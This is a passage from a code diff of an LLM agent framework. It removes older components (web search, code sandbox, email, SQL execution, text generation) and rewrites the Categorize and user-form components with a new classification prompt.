-                               ['ar', 'eu', 'bn', 'bg', 'ca', 'ns', 'nt', 'hr', 'cs', 'da', 'nl', 'en', 'gb', 'et',
-                                'fi', 'fr', 'gl', 'de', 'gu', 'he', 'hi', 'hu', 'is', 'it', 'jp', 'kn', 'ko', 'lv',
-                                'lt', 'ms', 'ml', 'mr', 'nb', 'pl', 'br', 'pt', 'pa', 'ro', 'ru', 'sr', 'sk', 'sl',
-                                'es', 'sv', 'ta', 'te', 'th', 'tr', 'uk', 'vi'])
-
-
-class Bing(ComponentBase, ABC):
-    component_name = "Bing"
-
-    def _run(self, history, **kwargs):
-        ans = self.get_input()
-        ans = " - ".join(ans["content"]) if "content" in ans else ""
-        if not ans:
-            return Bing.be_output("")
-
-        try:
-            headers = {"Ocp-Apim-Subscription-Key": self._param.api_key, 'Accept-Language': self._param.language}
-            params = {"q": ans, "textDecorations": True, "textFormat": "HTML", "cc": self._param.country,
-                      "answerCount": 1, "promote": self._param.channel}
-            if self._param.channel == "Webpages":
-                response = requests.get("https://api.bing.microsoft.com/v7.0/search", headers=headers, params=params)
-                response.raise_for_status()
-                search_results = response.json()
-                bing_res = [{"content": '<a href="' + i["url"] + '">' + i["name"] + '</a>    ' + i["snippet"]} for i in
-                            search_results["webPages"]["value"]]
-            elif self._param.channel == "News":
-                response = requests.get("https://api.bing.microsoft.com/v7.0/news/search", headers=headers,
-                                        params=params)
-                response.raise_for_status()
-                search_results = response.json()
-                bing_res = [{"content": '<a href="' + i["url"] + '">' + i["name"] + '</a>    ' + i["description"]} for i
-                            in search_results['news']['value']]
-        except Exception as e:
-            return Bing.be_output("**ERROR**: " + str(e))
-
-        if not bing_res:
-            return Bing.be_output("")
-
-        df = pd.DataFrame(bing_res)
-        logging.debug(f"df: {str(df)}")
-        return df

agent/component/categorize.py

@@ -14,13 +14,18 @@
 #  limitations under the License.
 #
 import logging
+import os
+import re
 from abc import ABC
+
 from api.db import LLMType
 from api.db.services.llm_service import LLMBundle
-from agent.component import GenerateParam, Generate
+from agent.component.llm import LLMParam, LLM
+from api.utils.api_utils import timeout
+from rag.llm.chat_model import ERROR_PREFIX
 
 
-class CategorizeParam(GenerateParam):
+class CategorizeParam(LLMParam):
 
     """
     Define the Categorize component parameters.
@@ -28,10 +33,12 @@ class CategorizeParam(GenerateParam):
     def __init__(self):
         super().__init__()
         self.category_description = {}
-        self.prompt = ""
+        self.query = "sys.query"
+        self.message_history_window_size = 1
+        self.update_prompt()
 
     def check(self):
-        super().check()
+        self.check_positive_integer(self.message_history_window_size, "[Categorize] Message window size > 0")
         self.check_empty(self.category_description, "[Categorize] Category examples")
         for k, v in self.category_description.items():
             if not k:
@@ -39,72 +46,92 @@ class CategorizeParam(GenerateParam):
             if not v.get("to"):
                 raise ValueError(f"[Categorize] 'To' of category {k} can not be empty!")
 
-    def get_prompt(self, chat_hist):
+    def get_input_form(self) -> dict[str, dict]:
+        return {
+            "query": {
+                "type": "line",
+                "name": "Query"
+            }
+        }
+
+    def update_prompt(self):
         cate_lines = []
         for c, desc in self.category_description.items():
-            for line in desc.get("examples", "").split("\n"):
+            for line in desc.get("examples", []):
                 if not line:
                     continue
-                cate_lines.append("USER: {}\nCategory: {}".format(line, c))
+                cate_lines.append("USER: \"" + re.sub(r"\n", "    ", line, flags=re.DOTALL) + "\" → "+c)
+
         descriptions = []
         for c, desc in self.category_description.items():
             if desc.get("description"):
                 descriptions.append(
-                    "\nCategory: {}\nDescription: {}".format(c, desc["description"]))
+                    "\n------\nCategory: {}\nDescription: {}".format(c, desc["description"]))
 
-        self.prompt = """
-Role: You're a text classifier. 
-Task: You need to categorize the user’s questions into {} categories, namely: {}
+        self.sys_prompt = """
+You are an advanced classification system that categorizes user questions into specific types. Analyze the input question and classify it into ONE of the following categories:
+{}
 
 Here's description of each category:
-{}
+ - {}
 
-You could learn from the following examples:
-{}
-You could learn from the above examples.
-
-Requirements:
-- Just mention the category names, no need for any additional words.
-
----- Real Data ----
-USER: {}\n
-        """.format(
-            len(self.category_description.keys()),
-            "/".join(list(self.category_description.keys())),
-            "\n".join(descriptions),
-            "\n\n- ".join(cate_lines),
-            chat_hist
+---- Instructions ----
+ - Consider both explicit mentions and implied context
+ - Prioritize the most specific applicable category
+ - Return only the category name without explanations
+ - Use "Other" only when no other category fits
+ 
+ """.format(
+            "\n - ".join(list(self.category_description.keys())),
+            "\n".join(descriptions)
         )
-        return self.prompt
+
+        if cate_lines:
+            self.sys_prompt += """
+---- Examples ----
+{}
+""".format("\n".join(cate_lines))
 
 
-class Categorize(Generate, ABC):
+class Categorize(LLM, ABC):
     component_name = "Categorize"
 
-    def _run(self, history, **kwargs):
-        input = self.get_input()
-        input = " - ".join(input["content"]) if "content" in input else ""
+    @timeout(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10*60))
+    def _invoke(self, **kwargs):
+        msg = self._canvas.get_history(self._param.message_history_window_size)
+        if not msg:
+            msg = [{"role": "user", "content": ""}]
+        if kwargs.get("sys.query"):
+            msg[-1]["content"] = kwargs["sys.query"]
+            self.set_input_value("sys.query", kwargs["sys.query"])
+        else:
+            msg[-1]["content"] = self._canvas.get_variable_value(self._param.query)
+            self.set_input_value(self._param.query, msg[-1]["content"])
+        self._param.update_prompt()
         chat_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.CHAT, self._param.llm_id)
-        self._canvas.set_component_infor(self._id, {"prompt":self._param.get_prompt(input),"messages":  [{"role": "user", "content": "\nCategory: "}],"conf": self._param.gen_conf()})
 
-        ans = chat_mdl.chat(self._param.get_prompt(input), [{"role": "user", "content": "\nCategory: "}],
-                            self._param.gen_conf())
-        logging.debug(f"input: {input}, answer: {str(ans)}")    
+        user_prompt = """
+---- Real Data ----
+{} → 
+""".format(" | ".join(["{}: \"{}\"".format(c["role"].upper(), re.sub(r"\n", "", c["content"], flags=re.DOTALL)) for c in msg]))
+        ans = chat_mdl.chat(self._param.sys_prompt, [{"role": "user", "content": user_prompt}], self._param.gen_conf())
+        logging.info(f"input: {user_prompt}, answer: {str(ans)}")
+        if ERROR_PREFIX in ans:
+            raise Exception(ans)
         # Count the number of times each category appears in the answer.
         category_counts = {}
         for c in self._param.category_description.keys():
             count = ans.lower().count(c.lower())
             category_counts[c] = count
-            
-        # If a category is found, return the category with the highest count.
+
+        cpn_ids = list(self._param.category_description.items())[-1][1]["to"]
+        max_category = list(self._param.category_description.keys())[0]
         if any(category_counts.values()):
-            max_category = max(category_counts.items(), key=lambda x: x[1])
-            return Categorize.be_output(self._param.category_description[max_category[0]]["to"])
+            max_category = max(category_counts.items(), key=lambda x: x[1])[0]
+            cpn_ids = self._param.category_description[max_category]["to"]
 
-        return Categorize.be_output(list(self._param.category_description.items())[-1][1]["to"])
-
-    def debug(self, **kwargs):
-        df = self._run([], **kwargs)
-        cpn_id = df.iloc[0, 0]
-        return Categorize.be_output(self._canvas.get_component_name(cpn_id))
+        self.set_output("category_name", max_category)
+        self.set_output("_next", cpn_ids)
 
+    def thoughts(self) -> str:
+        return "Which should it falls into {}? ...".format(",".join([f"`{c}`" for c, _ in self._param.category_description.items()]))

agent/component/code.py

@@ -1,138 +0,0 @@
-#
-#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-import base64
-from abc import ABC
-from enum import Enum
-from typing import Optional
-
-from pydantic import BaseModel, Field, field_validator
-
-from agent.component.base import ComponentBase, ComponentParamBase
-from api import settings
-
-
-class Language(str, Enum):
-    PYTHON = "python"
-    NODEJS = "nodejs"
-
-
-class CodeExecutionRequest(BaseModel):
-    code_b64: str = Field(..., description="Base64 encoded code string")
-    language: Language = Field(default=Language.PYTHON, description="Programming language")
-    arguments: Optional[dict] = Field(default={}, description="Arguments")
-
-    @field_validator("code_b64")
-    @classmethod
-    def validate_base64(cls, v: str) -> str:
-        try:
-            base64.b64decode(v, validate=True)
-            return v
-        except Exception as e:
-            raise ValueError(f"Invalid base64 encoding: {str(e)}")
-
-    @field_validator("language", mode="before")
-    @classmethod
-    def normalize_language(cls, v) -> str:
-        if isinstance(v, str):
-            low = v.lower()
-            if low in ("python", "python3"):
-                return "python"
-            elif low in ("javascript", "nodejs"):
-                return "nodejs"
-        raise ValueError(f"Unsupported language: {v}")
-
-
-class CodeParam(ComponentParamBase):
-    """
-    Define the code sandbox component parameters.
-    """
-
-    def __init__(self):
-        super().__init__()
-        self.lang = "python"
-        self.script = ""
-        self.arguments = []
-        self.address = f"http://{settings.SANDBOX_HOST}:9385/run"
-        self.enable_network = True
-
-    def check(self):
-        self.check_valid_value(self.lang, "Support languages", ["python", "python3", "nodejs", "javascript"])
-        self.check_defined_type(self.enable_network, "Enable network", ["bool"])
-
-
-class Code(ComponentBase, ABC):
-    component_name = "Code"
-
-    def _run(self, history, **kwargs):
-        arguments = {}
-        for input in self._param.arguments:
-            if "@" in input["component_id"]:
-                component_id = input["component_id"].split("@")[0]
-                refered_component_key = input["component_id"].split("@")[1]
-                refered_component = self._canvas.get_component(component_id)["obj"]
-
-                for param in refered_component._param.query:
-                    if param["key"] == refered_component_key:
-                        if "value" in param:
-                            arguments[input["name"]] = param["value"]
-            else:
-                cpn = self._canvas.get_component(input["component_id"])["obj"]
-                if cpn.component_name.lower() == "answer":
-                    arguments[input["name"]] = self._canvas.get_history(1)[0]["content"]
-                    continue
-                _, out = cpn.output(allow_partial=False)
-                if not out.empty:
-                    arguments[input["name"]] = "\n".join(out["content"])
-
-        return self._execute_code(
-            language=self._param.lang,
-            code=self._param.script,
-            arguments=arguments,
-            address=self._param.address,
-            enable_network=self._param.enable_network,
-        )
-
-    def _execute_code(self, language: str, code: str, arguments: dict, address: str, enable_network: bool):
-        import requests
-
-        try:
-            code_b64 = self._encode_code(code)
-            code_req = CodeExecutionRequest(code_b64=code_b64, language=language, arguments=arguments).model_dump()
-        except Exception as e:
-            return Code.be_output("**Error**: construct code request error: " + str(e))
-
-        try:
-            resp = requests.post(url=address, json=code_req, timeout=10)
-            body = resp.json()
-            if body:
-                stdout = body.get("stdout")
-                stderr = body.get("stderr")
-                return Code.be_output(stdout or stderr)
-            else:
-                return Code.be_output("**Error**: There is no response from sanbox")
-
-        except Exception as e:
-            return Code.be_output("**Error**: Internal error in sanbox: " + str(e))
-
-    def _encode_code(self, code: str) -> str:
-        return base64.b64encode(code.encode("utf-8")).decode("utf-8")
-
-    def get_input_elements(self):
-        elements = []
-        for input in self._param.arguments:
-            cpn_id = input["component_id"]
-            elements.append({"key": cpn_id, "name": input["name"]})
-        return elements

agent/component/duckduckgo.py

@@ -1,66 +0,0 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-import logging
-from abc import ABC
-from duckduckgo_search import DDGS
-import pandas as pd
-from agent.component.base import ComponentBase, ComponentParamBase
-
-
-class DuckDuckGoParam(ComponentParamBase):
-    """
-    Define the DuckDuckGo component parameters.
-    """
-
-    def __init__(self):
-        super().__init__()
-        self.top_n = 10
-        self.channel = "text"
-
-    def check(self):
-        self.check_positive_integer(self.top_n, "Top N")
-        self.check_valid_value(self.channel, "Web Search or News", ["text", "news"])
-
-
-class DuckDuckGo(ComponentBase, ABC):
-    component_name = "DuckDuckGo"
-
-    def _run(self, history, **kwargs):
-        ans = self.get_input()
-        ans = " - ".join(ans["content"]) if "content" in ans else ""
-        if not ans:
-            return DuckDuckGo.be_output("")
-
-        try:
-            if self._param.channel == "text":
-                with DDGS() as ddgs:
-                    # {'title': '', 'href': '', 'body': ''}
-                    duck_res = [{"content": '<a href="' + i["href"] + '">' + i["title"] + '</a>    ' + i["body"]} for i
-                                in ddgs.text(ans, max_results=self._param.top_n)]
-            elif self._param.channel == "news":
-                with DDGS() as ddgs:
-                    # {'date': '', 'title': '', 'body': '', 'url': '', 'image': '', 'source': ''}
-                    duck_res = [{"content": '<a href="' + i["url"] + '">' + i["title"] + '</a>    ' + i["body"]} for i
-                                in ddgs.news(ans, max_results=self._param.top_n)]
-        except Exception as e:
-            return DuckDuckGo.be_output("**ERROR**: " + str(e))
-
-        if not duck_res:
-            return DuckDuckGo.be_output("")
-
-        df = pd.DataFrame(duck_res)
-        logging.debug("df: {df}")
-        return df

agent/component/email.py

@@ -1,141 +0,0 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-
-from abc import ABC
-import json
-import smtplib
-import logging
-from email.mime.text import MIMEText
-from email.mime.multipart import MIMEMultipart
-from email.header import Header
-from email.utils import formataddr
-from agent.component.base import ComponentBase, ComponentParamBase
-
-class EmailParam(ComponentParamBase):
-    """
-    Define the Email component parameters.
-    """
-    def __init__(self):
-        super().__init__()
-        # Fixed configuration parameters
-        self.smtp_server = ""  # SMTP server address
-        self.smtp_port = 465  # SMTP port
-        self.email = ""  # Sender email
-        self.password = ""  # Email authorization code
-        self.sender_name = ""  # Sender name
-
-    def check(self):
-        # Check required parameters
-        self.check_empty(self.smtp_server, "SMTP Server")
-        self.check_empty(self.email, "Email")
-        self.check_empty(self.password, "Password")
-        self.check_empty(self.sender_name, "Sender Name")
-
-class Email(ComponentBase, ABC):
-    component_name = "Email"
-    
-    def _run(self, history, **kwargs):
-        # Get upstream component output and parse JSON
-        ans = self.get_input()
-        content = "".join(ans["content"]) if "content" in ans else ""
-        if not content:
-            return Email.be_output("No content to send")
-
-        success = False
-        try:
-            # Parse JSON string passed from upstream
-            email_data = json.loads(content)
-            
-            # Validate required fields
-            if "to_email" not in email_data:
-                return Email.be_output("Missing required field: to_email")
-
-            # Create email object
-            msg = MIMEMultipart('alternative')
-            
-            # Properly handle sender name encoding
-            msg['From'] = formataddr((str(Header(self._param.sender_name,'utf-8')), self._param.email))
-            msg['To'] = email_data["to_email"]
-            if "cc_email" in email_data and email_data["cc_email"]:
-                msg['Cc'] = email_data["cc_email"]
-            msg['Subject'] = Header(email_data.get("subject", "No Subject"), 'utf-8').encode()
-
-            # Use content from email_data or default content
-            email_content = email_data.get("content", "No content provided")
-            # msg.attach(MIMEText(email_content, 'plain', 'utf-8'))
-            msg.attach(MIMEText(email_content, 'html', 'utf-8'))
-
-            # Connect to SMTP server and send
-            logging.info(f"Connecting to SMTP server {self._param.smtp_server}:{self._param.smtp_port}")
-            
-            context = smtplib.ssl.create_default_context()
-            with smtplib.SMTP(self._param.smtp_server, self._param.smtp_port) as server:
-                server.ehlo()
-                server.starttls(context=context)
-                server.ehlo()
-                # Login
-                logging.info(f"Attempting to login with email: {self._param.email}")
-                server.login(self._param.email, self._param.password)
-                
-                # Get all recipient list
-                recipients = [email_data["to_email"]]
-                if "cc_email" in email_data and email_data["cc_email"]:
-                    recipients.extend(email_data["cc_email"].split(','))
-                
-                # Send email
-                logging.info(f"Sending email to recipients: {recipients}")
-                try:
-                    server.send_message(msg, self._param.email, recipients)
-                    success = True
-                except Exception as e:
-                    logging.error(f"Error during send_message: {str(e)}")
-                    # Try alternative method
-                    server.sendmail(self._param.email, recipients, msg.as_string())
-                    success = True
-                
-                try:
-                    server.quit()
-                except Exception as e:
-                    # Ignore errors when closing connection
-                    logging.warning(f"Non-fatal error during connection close: {str(e)}")
-
-            if success:
-                return Email.be_output("Email sent successfully")
-
-        except json.JSONDecodeError:
-            error_msg = "Invalid JSON format in input"
-            logging.error(error_msg)
-            return Email.be_output(error_msg)
-            
-        except smtplib.SMTPAuthenticationError:
-            error_msg = "SMTP Authentication failed. Please check your email and authorization code."
-            logging.error(error_msg)
-            return Email.be_output(f"Failed to send email: {error_msg}")
-            
-        except smtplib.SMTPConnectError:
-            error_msg = f"Failed to connect to SMTP server {self._param.smtp_server}:{self._param.smtp_port}"
-            logging.error(error_msg)
-            return Email.be_output(f"Failed to send email: {error_msg}")
-            
-        except smtplib.SMTPException as e:
-            error_msg = f"SMTP error occurred: {str(e)}"
-            logging.error(error_msg)
-            return Email.be_output(f"Failed to send email: {error_msg}")
-            
-        except Exception as e:
-            error_msg = f"Unexpected error: {str(e)}"
-            logging.error(error_msg)
-            return Email.be_output(f"Failed to send email: {error_msg}") 

agent/component/exesql.py

@@ -1,154 +0,0 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-from abc import ABC
-import re
-from copy import deepcopy
-
-import pandas as pd
-import pymysql
-import psycopg2
-from agent.component import GenerateParam, Generate
-import pyodbc
-import logging
-
-
-class ExeSQLParam(GenerateParam):
-    """
-    Define the ExeSQL component parameters.
-    """
-
-    def __init__(self):
-        super().__init__()
-        self.db_type = "mysql"
-        self.database = ""
-        self.username = ""
-        self.host = ""
-        self.port = 3306
-        self.password = ""
-        self.loop = 3
-        self.top_n = 30
-
-    def check(self):
-        super().check()
-        self.check_valid_value(self.db_type, "Choose DB type", ['mysql', 'postgresql', 'mariadb', 'mssql'])
-        self.check_empty(self.database, "Database name")
-        self.check_empty(self.username, "database username")
-        self.check_empty(self.host, "IP Address")
-        self.check_positive_integer(self.port, "IP Port")
-        self.check_empty(self.password, "Database password")
-        self.check_positive_integer(self.top_n, "Number of records")
-        if self.database == "rag_flow":
-            if self.host == "ragflow-mysql":
-                raise ValueError("For the security reason, it dose not support database named rag_flow.")
-            if self.password == "infini_rag_flow":
-                raise ValueError("For the security reason, it dose not support database named rag_flow.")
-
-
-class ExeSQL(Generate, ABC):
-    component_name = "ExeSQL"
-
-    def _refactor(self, ans):
-        ans = re.sub(r"^.*</think>", "", ans, flags=re.DOTALL)
-        match = re.search(r"```sql\s*(.*?)\s*```", ans, re.DOTALL)
-        if match:
-            ans = match.group(1)  # Query content
-            return ans
-        else:
-            print("no markdown")
-        ans = re.sub(r'^.*?SELECT ', 'SELECT ', (ans), flags=re.IGNORECASE)
-        ans = re.sub(r';.*?SELECT ', '; SELECT ', ans, flags=re.IGNORECASE)
-        ans = re.sub(r';[^;]*$', r';', ans)
-        if not ans:
-            raise Exception("SQL statement not found!")
-        return ans
-
-    def _run(self, history, **kwargs):
-        ans = self.get_input()
-        ans = "".join([str(a) for a in ans["content"]]) if "content" in ans else ""
-        ans = self._refactor(ans)
-        if self._param.db_type in ["mysql", "mariadb"]:
-            db = pymysql.connect(db=self._param.database, user=self._param.username, host=self._param.host,
-                                 port=self._param.port, password=self._param.password)
-        elif self._param.db_type == 'postgresql':
-            db = psycopg2.connect(dbname=self._param.database, user=self._param.username, host=self._param.host,
-                                  port=self._param.port, password=self._param.password)
-        elif self._param.db_type == 'mssql':
-            conn_str = (
-                    r'DRIVER={ODBC Driver 17 for SQL Server};'
-                    r'SERVER=' + self._param.host + ',' + str(self._param.port) + ';'
-                    r'DATABASE=' + self._param.database + ';'
-                    r'UID=' + self._param.username + ';'
-                    r'PWD=' + self._param.password
-            )
-            db = pyodbc.connect(conn_str)
-        try:
-            cursor = db.cursor()
-        except Exception as e:
-            raise Exception("Database Connection Failed! \n" + str(e))
-        if not hasattr(self, "_loop"):
-            setattr(self, "_loop", 0)
-            self._loop += 1
-        input_list = re.split(r';', ans.replace(r"\n", " "))
-        sql_res = []
-        for i in range(len(input_list)):
-            single_sql = input_list[i]
-            while self._loop <= self._param.loop:
-                self._loop += 1
-                if not single_sql:
-                    break
-                try:
-                    cursor.execute(single_sql)
-                    if cursor.rowcount == 0:
-                        sql_res.append({"content": "No record in the database!"})
-                        break
-                    if self._param.db_type == 'mssql':
-                        single_res = pd.DataFrame.from_records(cursor.fetchmany(self._param.top_n),
-                                                               columns=[desc[0] for desc in cursor.description])
-                    else:
-                        single_res = pd.DataFrame([i for i in cursor.fetchmany(self._param.top_n)])
-                        single_res.columns = [i[0] for i in cursor.description]
-                    sql_res.append({"content": single_res.to_markdown(index=False, floatfmt=".6f")})
-                    break
-                except Exception as e:
-                    single_sql = self._regenerate_sql(single_sql, str(e), **kwargs)
-                    single_sql = self._refactor(single_sql)
-                    if self._loop > self._param.loop:
-                        sql_res.append({"content": "Can't query the correct data via SQL statement."})
-        db.close()
-        if not sql_res:
-            return ExeSQL.be_output("")
-        return pd.DataFrame(sql_res)
-
-    def _regenerate_sql(self, failed_sql, error_message, **kwargs):
-        prompt = f'''
-        ## You are the Repair SQL Statement Helper, please modify the original SQL statement based on the SQL query error report.
-        ## The original SQL statement is as follows:{failed_sql}.
-        ## The contents of the SQL query error report is as follows:{error_message}.
-        ## Answer only the modified SQL statement. Please do not give any explanation, just answer the code.
-'''
-        self._param.prompt = prompt
-        kwargs_ = deepcopy(kwargs)
-        kwargs_["stream"] = False
-        response = Generate._run(self, [], **kwargs_)
-        try:
-            regenerated_sql = response.loc[0, "content"]
-            return regenerated_sql
-        except Exception as e:
-            logging.error(f"Failed to regenerate SQL: {e}")
-            return None
-
-    def debug(self, **kwargs):
-        return self._run([], **kwargs)

agent/component/fillup.py

@@ -13,24 +13,28 @@
 #  See the License for the specific language governing permissions and
 #  limitations under the License.
 #
-from abc import ABC
 from agent.component.base import ComponentBase, ComponentParamBase
 
 
-class ConcentratorParam(ComponentParamBase):
-    """
-    Define the Concentrator component parameters.
-    """
+class UserFillUpParam(ComponentParamBase):
 
     def __init__(self):
         super().__init__()
+        self.enable_tips = True
+        self.tips = "Please fill up the form"
 
-    def check(self):
+    def check(self) -> bool:
         return True
 
 
-class Concentrator(ComponentBase, ABC):
-    component_name = "Concentrator"
+class UserFillUp(ComponentBase):
+    component_name = "UserFillUp"
+
+    def _invoke(self, **kwargs):
+        for k, v in kwargs.get("inputs", {}).items():
+            self.set_output(k, v)
+
+    def thoughts(self) -> str:
+        return "Waiting for your input..."
+
 
-    def _run(self, history, **kwargs):
-        return Concentrator.be_output("")

agent/component/generate.py

@@ -1,276 +0,0 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-import json
-import re
-from functools import partial
-from typing import Any
-import pandas as pd
-from api.db import LLMType
-from api.db.services.conversation_service import structure_answer
-from api.db.services.llm_service import LLMBundle
-from api import settings
-from agent.component.base import ComponentBase, ComponentParamBase
-from plugin import GlobalPluginManager
-from plugin.llm_tool_plugin import llm_tool_metadata_to_openai_tool
-from rag.llm.chat_model import ToolCallSession
-from rag.prompts import message_fit_in
-
-
-class LLMToolPluginCallSession(ToolCallSession):
-    def tool_call(self, name: str, arguments: dict[str, Any]) -> str:
-        tool = GlobalPluginManager.get_llm_tool_by_name(name)
-
-        if tool is None:
-            raise ValueError(f"LLM tool {name} does not exist")
-
-        return tool().invoke(**arguments)
-
-
-class GenerateParam(ComponentParamBase):
-    """
-    Define the Generate component parameters.
-    """
-
-    def __init__(self):
-        super().__init__()
-        self.llm_id = ""
-        self.prompt = ""
-        self.max_tokens = 0
-        self.temperature = 0
-        self.top_p = 0
-        self.presence_penalty = 0
-        self.frequency_penalty = 0
-        self.cite = True
-        self.parameters = []
-        self.llm_enabled_tools = []
-
-    def check(self):
-        self.check_decimal_float(self.temperature, "[Generate] Temperature")
-        self.check_decimal_float(self.presence_penalty, "[Generate] Presence penalty")
-        self.check_decimal_float(self.frequency_penalty, "[Generate] Frequency penalty")
-        self.check_nonnegative_number(self.max_tokens, "[Generate] Max tokens")
-        self.check_decimal_float(self.top_p, "[Generate] Top P")
-        self.check_empty(self.llm_id, "[Generate] LLM")
-        # self.check_defined_type(self.parameters, "Parameters", ["list"])
-
-    def gen_conf(self):
-        conf = {}
-        if self.max_tokens > 0:
-            conf["max_tokens"] = self.max_tokens
-        if self.temperature > 0:
-            conf["temperature"] = self.temperature
-        if self.top_p > 0:
-            conf["top_p"] = self.top_p
-        if self.presence_penalty > 0:
-            conf["presence_penalty"] = self.presence_penalty
-        if self.frequency_penalty > 0:
-            conf["frequency_penalty"] = self.frequency_penalty
-        return conf
-
-
-class Generate(ComponentBase):
-    component_name = "Generate"
-
-    def get_dependent_components(self):
-        inputs = self.get_input_elements()
-        cpnts = set([i["key"] for i in inputs[1:] if i["key"].lower().find("answer") < 0 and i["key"].lower().find("begin") < 0])
-        return list(cpnts)
-
-    def set_cite(self, retrieval_res, answer):
-        if "empty_response" in retrieval_res.columns:
-            retrieval_res["empty_response"].fillna("", inplace=True)
-        chunks = json.loads(retrieval_res["chunks"][0])
-        answer, idx = settings.retrievaler.insert_citations(answer,
-                                                            [ck["content_ltks"] for ck in chunks],
-                                                            [ck["vector"] for ck in chunks],
-                                                            LLMBundle(self._canvas.get_tenant_id(), LLMType.EMBEDDING,
-                                                                      self._canvas.get_embedding_model()), tkweight=0.7,
-                                                            vtweight=0.3)
-        doc_ids = set([])
-        recall_docs = []
-        for i in idx:
-            did = chunks[int(i)]["doc_id"]
-            if did in doc_ids:
-                continue
-            doc_ids.add(did)
-            recall_docs.append({"doc_id": did, "doc_name": chunks[int(i)]["docnm_kwd"]})
-
-        for c in chunks:
-            del c["vector"]
-            del c["content_ltks"]
-
-        reference = {
-            "chunks": chunks,
-            "doc_aggs": recall_docs
-        }
-
-        if answer.lower().find("invalid key") >= 0 or answer.lower().find("invalid api") >= 0:
-            answer += " Please set LLM API-Key in 'User Setting -> Model providers -> API-Key'"
-        res = {"content": answer, "reference": reference}
-        res = structure_answer(None, res, "", "")
-
-        return res
-
-    def get_input_elements(self):
-        key_set = set([])
-        res = [{"key": "user", "name": "Input your question here:"}]
-        for r in re.finditer(r"\{([a-z]+[:@][a-z0-9_-]+)\}", self._param.prompt, flags=re.IGNORECASE):
-            cpn_id = r.group(1)
-            if cpn_id in key_set:
-                continue
-            if cpn_id.lower().find("begin@") == 0:
-                cpn_id, key = cpn_id.split("@")
-                for p in self._canvas.get_component(cpn_id)["obj"]._param.query:
-                    if p["key"] != key:
-                        continue
-                    res.append({"key": r.group(1), "name": p["name"]})
-                    key_set.add(r.group(1))
-                continue
-            cpn_nm = self._canvas.get_component_name(cpn_id)
-            if not cpn_nm:
-                continue
-            res.append({"key": cpn_id, "name": cpn_nm})
-            key_set.add(cpn_id)
-        return res
-
-    def _run(self, history, **kwargs):
-        chat_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.CHAT, self._param.llm_id)
-
-        if len(self._param.llm_enabled_tools) > 0:
-            tools = GlobalPluginManager.get_llm_tools_by_names(self._param.llm_enabled_tools)
-
-            chat_mdl.bind_tools(
-                LLMToolPluginCallSession(),
-                [llm_tool_metadata_to_openai_tool(t.get_metadata()) for t in tools]
-            )
-
-        prompt = self._param.prompt
-
-        retrieval_res = []
-        self._param.inputs = []
-        for para in self.get_input_elements()[1:]:
-            if para["key"].lower().find("begin@") == 0:
-                cpn_id, key = para["key"].split("@")
-                for p in self._canvas.get_component(cpn_id)["obj"]._param.query:
-                    if p["key"] == key:
-                        kwargs[para["key"]] = p.get("value", "")
-                        self._param.inputs.append(
-                            {"component_id": para["key"], "content": kwargs[para["key"]]})
-                        break
-                else:
-                    assert False, f"Can't find parameter '{key}' for {cpn_id}"
-                continue
-
-            component_id = para["key"]
-            cpn = self._canvas.get_component(component_id)["obj"]
-            if cpn.component_name.lower() == "answer":
-                hist = self._canvas.get_history(1)
-                if hist:
-                    hist = hist[0]["content"]
-                else:
-                    hist = ""
-                kwargs[para["key"]] = hist
-                continue
-            _, out = cpn.output(allow_partial=False)
-            if "content" not in out.columns:
-                kwargs[para["key"]] = ""
-            else:
-                if cpn.component_name.lower() == "retrieval":
-                    retrieval_res.append(out)
-                kwargs[para["key"]] = "  - " + "\n - ".join([o if isinstance(o, str) else str(o) for o in out["content"]])
-            self._param.inputs.append({"component_id": para["key"], "content": kwargs[para["key"]]})
-
-        if retrieval_res:
-            retrieval_res = pd.concat(retrieval_res, ignore_index=True)
-        else:
-            retrieval_res = pd.DataFrame([])
-
-        for n, v in kwargs.items():
-            prompt = re.sub(r"\{%s\}" % re.escape(n), str(v).replace("\\", " "), prompt)
-
